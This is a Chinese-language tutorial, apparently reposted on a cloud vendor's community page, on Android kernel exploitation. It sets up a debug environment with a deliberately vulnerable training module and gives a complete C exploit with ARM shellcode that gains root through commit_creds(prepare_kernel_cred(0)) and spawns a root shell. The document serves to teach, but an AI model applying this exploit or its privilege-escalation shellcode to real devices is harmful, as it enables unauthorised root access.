Android核心漏洞利用技術實戰:環境搭建&棧溢出實戰

來源:互聯網
上載者:User

標籤:核心   arm-linux   lease   apple   src   bin   下載jdk   target   函數   

前言

Android的核心採用的是 Linux 核心,所以在Android核心中進行漏洞利用其實和在 一般的 x86平台下的 linux 核心中進行利用差不多。主要區別在於 Android 下使用的是arm彙編以及環境的搭建方面。本文對我最近的實踐做一個分享,其實很簡單。

核心調試環境搭建

搭建平台: ubuntu 16.04

這裡使用 android 模擬器來進行核心調試。首先下載核心代碼

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

然後下載 github 上的一個安卓漏洞利用的項目,

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

然後使用項目中的 patch 檔案把 patch 核心編譯配置,來把項目中的帶漏洞的模組編譯進 linux 核心

    git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

這裡注意: goldfish 目錄和 kernel_exploit_challenges 目錄要在同一目錄下

然後下載 arm-linux-androideabi-4.6 交叉編譯工具鏈 。下載完成後把它解壓後,然後把它加到環境變數中

    tar xvf arm-linux-androideabi-4.6.tar.bz2 export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH

然後進入 goldfish 目錄,開始編譯

    make goldfish_armv7_defconfig && make -j8

編譯完成後,就會有兩個主要的檔案:goldfish/vmlinuxgoldfish/arch/arm/boot/zImage。前面那個用於在調試時 gdb 載入,後面的用於在安卓模擬器啟動時載入。

下面下載 安卓 sdk , 用來下載和運行 安卓模擬器。

sdkhttp://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

然後把sdk 解壓

    tar xvf android-sdk_r24.4.1-linux.tgz

把 android-sdk-linux/tools 加入環境變數,把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>

export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH

然後重新開啟一個shell, 使用下面的命令 <要先下載jdk ,並且設定好環境變數>

android

然後把下面標註的兩個下載下來



下載完後。首先查看下載的鏡像檔案

    $android list targetsAvailable Android targets:----------id: 1 or "android-19"     Name: Android 4.4.2     Type: Platform     API level: 19     Revision: 4     Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in

然後建立 模擬器

android create avd --force -t "android-19" -n kernel_challenges

然後進入 goldfish 目錄,使用下面的命令來使用我們的核心來運行模擬器,並在 1234 連接埠起一個 gdbserver 來方便進行 核心調試

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

第一次運行有類似的結果:

    $ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -sWARNING: userdata image already in use, changes will not persist!Creating filesystem with parameters:    Size: 576716800    Block size: 4096    Blocks per group: 32768    Inodes per group: 7040    Inode size: 256    Journal blocks: 2200    Label:     Blocks: 140800    Block groups: 5    Reserved block group size: 39Created filesystem with 11/35200 inodes and 4536/140800 blocksWARNING: cache image already in use, changes will not persist!Creating filesystem with parameters:    Size: 69206016    Block size: 4096    Blocks per group: 32768    Inodes per group: 4224    Inode size: 256    Journal blocks: 1024    Label:     Blocks: 16896    Block groups: 1    Reserved block group size: 7Created filesystem with 11/4224 inodes and 1302/16896 blocks..................................................................

為了便於後面的操作我們需要把 交叉編譯工具鏈 添加到環境變數裡。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>

exportPATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH

然後重新開個 shell, 進入到 goldfish 目錄,載入 vmlinux 以便調試核心

arm-linux-androideabi-gdb vmlinux

如果一切正常,應該可以得到下面的類似輸出

GNU gdb (GDB) 7.3.1-gg2Copyright (C) 2011 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from <REDACTED>/goldfish/vmlinux...done.(gdb)

然後串連 模擬器裡面的 調試連接埠

    (gdb) target remote :1234Remote debugging using :1234cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:7474movpc, lr(gdb)

如果能看到這樣的輸出說明已經可以正常進行核心調試了。

核心棧溢出漏洞利用

首先看看漏洞代碼, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:

#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/proc_fs.h>#include <linux/string.h>#include <asm/uaccess.h>#define MAX_LENGTH 64MODULE_LICENSE("GPL");MODULE_AUTHOR("Ryan Welton");MODULE_DESCRIPTION("Stack Buffer Overflow Example");static struct proc_dir_entry *stack_buffer_proc_entry;int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data){    char buf[MAX_LENGTH];    if (copy_from_user(&buf, ubuf, count)) {        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");        return -EFAULT;    }    return count;}static int __init stack_buffer_proc_init(void){    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);    stack_buffer_proc_entry->write_proc = proc_entry_write;    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");    return 0;}static void __exit stack_buffer_proc_exit(void){    if (stack_buffer_proc_entry) {        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);    }    printk(KERN_INFO "vuln_stack_proc_entry removed\n");}module_init(stack_buffer_proc_init);module_exit(stack_buffer_proc_exit);

上述代碼會建立 /proc/stack_buffer_overflow 裝置檔案 ,當向該裝置檔案調用 write 系統調用時會調用 proc_entry_write 函數進行處理。

漏洞顯而易見,在 proc_entry_write 函數中 定義了一個 64 位元組大小的棧緩衝區buf, 然後使用 copy_from_user(&buf, ubuf, count) 從使用者空間 拷貝資料到 buf,資料大小和內容均使用者可控。於是當我們輸入超過64位元組時我們能夠覆蓋其他的資料,比如返回地址等,進而劫持程式執行流到我們的 shellcode 中 進行提權。

首先我們來試試觸發漏洞。先把模擬器開啟,然後 adb shell 進入模擬器,使用 echo 命令向 /proc/stack_buffer_overflow 裝置輸入72位元組的資料。

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow


可以看到 pc 寄存器的值 為 0x41414141 成功劫持。測試時該核心沒開 pxn ,所以我們可以在使用者態編寫shellcode讓核心去執行。提取的方式很簡單,核心態調用 commit_creds(prepare_kernel_cred(0)); 提升許可權為 root, 然後返回 使用者態 執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 許可權的 shell, 完成提權。

下面先擷取 prepare_kernel_credcommit_creds 函數的地址。在 /proc/kallsyms 檔案中儲存著所有的核心符號的名稱和它在記憶體中的位置。

不過在最近的核心版本中,為了使利用核心漏洞變得更加困難,linux 核心目前禁止一般使用者擷取符號。具體可以看這裡。

當啟用 kptr_restrict是我們不能擷取核心符號地址的。

[email protected]:/ # cat /proc/kallsyms | grep commit_creds                        00000000 T commit_creds

在本文中,把它禁用掉,不管他。

    [email protected]:/ # echo 0 > /proc/sys/kernel/kptr_restrict                       [email protected]:/ # cat /proc/kallsyms | grep commit_creds                        c0039834 T commit_creds[email protected]:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 c0039d34 T prepare_kernel_cred

禁用掉之後,我們就可以通過 /proc/kallsyms 擷取 commit_credsprepare_kernel_cred的地址。

至此,提權的問題解決了,下面就是要回到使用者態,在x86平台有 iret指令可以回到使用者態,在arm下返回使用者態就更簡單了。在armcpsr 寄存器的 M[4:0] 位用來表示 處理器的運行模式,具體可以看這個。

所以我們把 cpsr 寄存器的 M[4:0] 位設定為 10000 後就表示 處理器進入了使用者模式。

所以現在的利用思路是:

  • 調用 commit_creds(prepare_kernel_cred(0)) 提升許可權

  • 調用 mov r3, #0x40000010; MSR CPSR_c,R3;設定 cpsr寄存器,使cpu進入使用者模式

  • 然後執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 許可權的 shell

最後的 exp :

#include <stdio.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/mman.h>#define MAX             64int open_file(void){        int fd = open("/proc/stack_buffer_overflow", O_RDWR);        if (fd == -1)                err(1, "open");        return fd;}void payload(void){                printf("[+] enjoy the shell\n");                execl("/system/bin/sh", "sh", NULL);}extern uint32_t shellCode[];asm("    .text\n""    .align 2\n""    .code 32\n""    .globl shellCode\n\t""shellCode:\n\t"// commit_creds(prepare_kernel_cred(0));// -> get root"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr"MOV     R0, #0\n\t""BLX     R3\n\t""LDR     R3, =0xc0039834\n\t"   //commit_creds addr"BLX     R3\n\t""mov r3, #0x40000010\n\t""MSR    CPSR_c,R3\n\t""LDR     R3, =0x879c\n\t"     // payload function addr"BLX     R3\n\t");void trigger_vuln(int fd){        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )        char buf[MAX_PAYLOAD];        memset(buf, ‘A‘, sizeof(buf));        void * pc = buf + MAX +  1 * sizeof(void*);        printf("shellcdoe addr: %p\n", shellCode);        printf("payload:%p\n", payload);        *(void **)pc  = (void *) shellCode;   //ret addr        /* Kaboom! */        write(fd, buf, sizeof(buf) );}int main(void){        int fd;        fd = open_file();        trigger_vuln(fd);        payload();        close(fd);}


參考連結

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.htmlhttp://blog.sina.com.cn/s/blog_6ac051b2010123cz.htmlhttp://bobao.360.cn/learning/detail/3702.htmlhttps://github.com/Fuzion24/AndroidKernelExploitationPlayground

Android核心漏洞利用技術實戰:環境搭建&棧溢出實戰

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.